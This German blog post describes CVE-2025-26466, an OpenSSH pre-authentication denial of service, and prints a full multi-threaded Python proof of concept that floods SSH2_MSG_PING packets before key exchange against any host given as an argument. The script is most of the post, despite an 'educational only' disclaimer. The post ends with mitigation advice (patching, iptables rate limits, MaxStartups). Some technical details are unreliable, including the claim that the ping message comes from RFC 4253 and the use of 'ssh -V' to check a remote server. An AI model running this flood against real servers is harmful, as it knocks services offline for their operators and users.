Nur zu Bildungszwecken. Nutzt das nicht gegen Systeme, für die ihr keine ausdrückliche Erlaubnis habt. DoS gegen fremde Infrastruktur ist illegal.

CVE-2025-26466 ist eine pre-authentication Denial-of-Service Schwachstelle in OpenSSH. Betroffen sind Versionen vor 9.9p2 – sowohl client- als auch serverseitig. Der Fix ist im Februar 2025 rausgekommen, viele Systeme laufen aber noch mit alten Versionen.

Das eigentliche Problem: OpenSSH erlaubt das Senden von SSH2_MSG_PING-Paketen bevor der Key Exchange abgeschlossen ist. Der Server muss diese Pakete buffern und verarbeiten. Schickt man genug davon schnell genug rein, läuft entweder der Speicher voll oder die CPU hängt sich weg.

Wie funktioniert das genau

Normaler SSH-Handshake läuft so ab:

  1. Client verbindet, beide tauschen Banner aus (SSH-2.0-...)
  2. Beide senden SSH_MSG_KEXINIT – Algorithmen aushandeln
  3. Key Exchange (DH/ECDH) läuft durch
  4. Session Keys werden abgeleitet
  5. Erst danach Authentifizierung

Das Problem sitzt zwischen Schritt 2 und 3. SSH2_MSG_PING (Message Type 192) ist eine neuere OpenSSH-Extension aus RFC 4253 bzw. den OpenSSH-Drafts. Der Server antwortet darauf mit SSH2_MSG_PONG (193). Das ist eigentlich für Keep-Alive gedacht.

Was passiert wenn man KEXINIT schickt aber dann nicht auf das Server-KEXINIT wartet und stattdessen sofort Ping-Pakete flutet? Der Server hat noch keinen verschlüsselten Channel, muss die Pakete aber trotzdem verarbeiten. Jedes Ping reserviert ein bisschen Speicher, will eine Antwort schreiben, und die Verbindung bleibt offen.

Mit mehreren parallelen Connections läuft das schnell aus dem Ruder.

Voraussetzungen

Version checken geht so:

ssh -V ziel.example.com 2>&1 | head -1
# oder direkt am Port:
nc -w3 ziel.example.com 22 | head -1

Gibt der Server SSH-2.0-OpenSSH_8.x oder ähnliches zurück – betroffen.

Der PoC

Der Code ist straightforward. Baut eine TCP-Connection auf, schickt ein Client-Banner, dann KEXINIT – und flutet danach sofort mit PING-Paketen ohne auf den Key Exchange zu warten. Das ist der entscheidende Trick.

#!/usr/bin/env python3
"""
CVE-2025-26466 OpenSSH SSH2_MSG_PING DoS PoC
Educational Purpose Only by Vollassiliz
"""

import socket
import struct
import time
import threading
import sys
from typing import Optional

class SSHPingDoS:
    """OpenSSH SSH2_MSG_PING DoS Exploiter"""

    # SSH Protocol Constants
    SSH_MSG_KEXINIT = 20
    SSH2_MSG_PING = 192
    SSH2_MSG_PONG = 193

    def __init__(self, hostname: str, port: int = 22, timeout: int = 5):
        self.hostname = hostname
        self.port = port
        self.timeout = timeout
        self.connected = False
        self.sock: Optional[socket.socket] = None

    def connect(self) -> bool:
        """Verbinde zum SSH-Server"""
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.settimeout(self.timeout)
            self.sock.connect((self.hostname, self.port))
            self.connected = True
            print(f"[+] Verbindung zu {self.hostname}:{self.port} hergestellt")
            return True
        except Exception as e:
            print(f"[-] Verbindungsfehler: {e}")
            return False

    def recv_banner(self) -> Optional[str]:
        """Empfange SSH-Server Banner"""
        try:
            banner = self.sock.recv(1024).decode('utf-8', errors='ignore').strip()
            print(f"[+] Server-Banner: {banner}")
            return banner
        except Exception as e:
            print(f"[-] Banner-Fehler: {e}")
            return None

    def send_banner(self) -> bool:
        """Sende SSH-Client Banner"""
        try:
            client_banner = b"SSH-2.0-OpenSSH_9.4p1\r\n"
            self.sock.sendall(client_banner)
            print(f"[+] Client-Banner gesendet")
            return True
        except Exception as e:
            print(f"[-] Banner-Send-Fehler: {e}")
            return False

    def build_ssh_packet(self, payload: bytes) -> bytes:
        """
        Konstruiere ein SSH-Protokoll-Packet

        SSH Packet Format:
        uint32    packet_length
        byte      padding_length
        byte[n]   payload
        byte[m]   padding
        """
        padding_length = 8
        packet_length = len(payload) + 1 + padding_length

        packet = struct.pack('>I', packet_length)
        packet += bytes([padding_length])
        packet += payload
        packet += b'\x00' * padding_length

        return packet

    def send_kexinit(self) -> bool:
        """Sende SSH_MSG_KEXINIT"""
        try:
            kexinit_payload = bytes([self.SSH_MSG_KEXINIT])
            kexinit_payload += b'\x00' * 16  # cookie

            for _ in range(10):  # 10 algorithm lists
                kexinit_payload += struct.pack('>I', 0)

            kexinit_payload += b'\x00\x00\x00\x00'

            packet = self.build_ssh_packet(kexinit_payload)
            self.sock.sendall(packet)
            print(f"[+] SSH_MSG_KEXINIT gesendet")
            return True
        except Exception as e:
            print(f"[-] KEXINIT-Fehler: {e}")
            return False

    def recv_server_kexinit(self) -> bool:
        """Empfange Server-KEXINIT (optional)"""
        try:
            data = self.sock.recv(4096)
            print(f"[+] Server KEXINIT empfangen ({len(data)} bytes)")
            return True
        except socket.timeout:
            print(f"[!] Timeout beim Empfang von Server-KEXINIT (OK)")
            return True
        except Exception as e:
            print(f"[-] KEXINIT-Empfang Fehler: {e}")
            return False

    def send_ping_flood(self, count: int = 1000, interval: float = 0.01):
        """
        Sende SSH2_MSG_PING Flood

        SSH2_MSG_PING Format:
        byte      type (192 = SSH2_MSG_PING)
        string    data
        """
        try:
            print(f"[+] Starte PING-Flood: {count} PINGs mit {interval}s Interval")

            for i in range(count):
                ping_data = b"PING" + str(i).encode()
                ping_payload = bytes([self.SSH2_MSG_PING])
                ping_payload += struct.pack('>I', len(ping_data))
                ping_payload += ping_data

                packet = self.build_ssh_packet(ping_payload)
                self.sock.sendall(packet)

                if i % 100 == 0:
                    print(f"  [+] {i}/{count} PINGs gesendet")

                time.sleep(interval)

            print(f"[+] PING-Flood abgeschlossen")
            return True
        except Exception as e:
            print(f"[-] PING-Flood Fehler: {e}")
            return False

    def disconnect(self):
        if self.sock:
            try:
                self.sock.close()
                print(f"[+] Verbindung geschlossen")
            except:
                pass

def single_attack(hostname: str, port: int = 22, ping_count: int = 500):
    attacker = SSHPingDoS(hostname, port)

    if not attacker.connect():
        return False

    if not attacker.recv_banner():
        attacker.disconnect()
        return False

    if not attacker.send_banner():
        attacker.disconnect()
        return False

    if not attacker.send_kexinit():
        attacker.disconnect()
        return False

    # WICHTIG: NICHT auf Server-KEXINIT warten
    # attacker.recv_server_kexinit()

    attacker.send_ping_flood(count=ping_count, interval=0.0001)
    attacker.disconnect()
    return True

def multi_threaded_attack(hostname: str, port: int = 22,
                         num_threads: int = 10,
                         ping_per_connection: int = 500):
    print(f"\n[*] Starte Multi-Threaded DoS-Angriff")
    print(f"    - Ziel: {hostname}:{port}")
    print(f"    - Threads: {num_threads}")
    print(f"    - PINGs pro Connection: {ping_per_connection}")
    print(f"    - Gesamt PINGs: {num_threads * ping_per_connection}\n")

    def thread_attack(thread_id):
        print(f"[*] Thread {thread_id} gestartet")
        single_attack(hostname, port, ping_per_connection)
        print(f"[*] Thread {thread_id} beendet")

    threads = []
    for i in range(num_threads):
        t = threading.Thread(target=thread_attack, args=(i,))
        threads.append(t)
        t.start()
        time.sleep(0.1)

    for t in threads:
        t.join()

    print(f"\n[+] Multi-Threaded DoS-Angriff abgeschlossen")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <hostname> [port] [threads] [pings]")
        print(f"Example: {sys.argv[0]} 192.168.1.10 22 50 1000")
        sys.exit(1)

    hostname = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 22
    threads = int(sys.argv[3]) if len(sys.argv) > 3 else 10
    pings = int(sys.argv[4]) if len(sys.argv) > 4 else 500

    print(f"[*] CVE-2025-26466 OpenSSH SSH2_MSG_PING DoS PoC")
    print(f"[*] Educational Purpose Only\n")

    multi_threaded_attack(hostname, port, threads, pings)

Warum wird KEXINIT nicht abgewartet

Das ist der eigentliche Kniff. Wenn man normal wartet bis der Server seinen KEXINIT schickt und den Key Exchange abschließt, ist die Verbindung voll aufgebaut und der Server hat die Kontrolle über die Rate der PINGs. Man schickt KEXINIT, ignoriert die Antwort komplett und fängt sofort an zu fluten.

Der Server hängt jetzt in einem Zustand wo er die PINGs verarbeiten muss aber der Key Exchange nicht abgeschlossen ist. Er kann die Verbindung nicht einfach droppen ohne State zu leaken. Mit 10, 20, 50 parallelen Connections summiert sich das.

Mitigation

Update auf OpenSSH 9.9p2 oder neuer. Das ist die einzige richtige Lösung.

ssh -V 2>&1
# OpenSSH_9.9p2 oder höher = gepatcht

Als temporärer Workaround helfen Rate Limits auf TCP-Ebene:

# iptables: max 5 SSH-Verbindungen pro Minute pro IP
iptables -A INPUT -p tcp --dport 22 -m state --state NEW \
  -m recent --set --name SSH
iptables -A INPUT -p tcp --dport 22 -m state --state NEW \
  -m recent --update --seconds 60 --hitcount 6 --name SSH -j DROP

Fail2Ban greift hier leider nicht weil die Verbindung nie authentifiziert wird und kein Log-Eintrag entsteht der den Filter triggert. Man müsste direkt auf Connection-Rate gehen. Alternativ MaxStartups in sshd_config runtersetzen:

# /etc/ssh/sshd_config
MaxStartups 3:50:10
# 3 unauthenticated connections erlaubt, ab 3 mit 50% Drop-Rate, hard limit 10

Das reduziert die Angriffsfläche deutlich. Aber updaten ist die Pflicht.

Fazit

Pre-auth DoS ist immer nervig weil man nichts dagegen tun kann außer patchen und rate-limitieren. Die Schwachstelle ist nicht sonderlich komplex – das Protokoll hat schlicht keine Begrenzung für pre-auth Messages definiert. Patch war schnell draußen, aber viele SSH-Deployments updaten nicht regelmäßig.

Eigene Systeme prüfen, updaten, fertig.

Wer SSH-Zugang von außen hat sollte auch AllowUsers und AllowGroups in der sshd_config nutzen. Minimale Angriffsfläche ist immer besser als Patches hinterherzulaufen.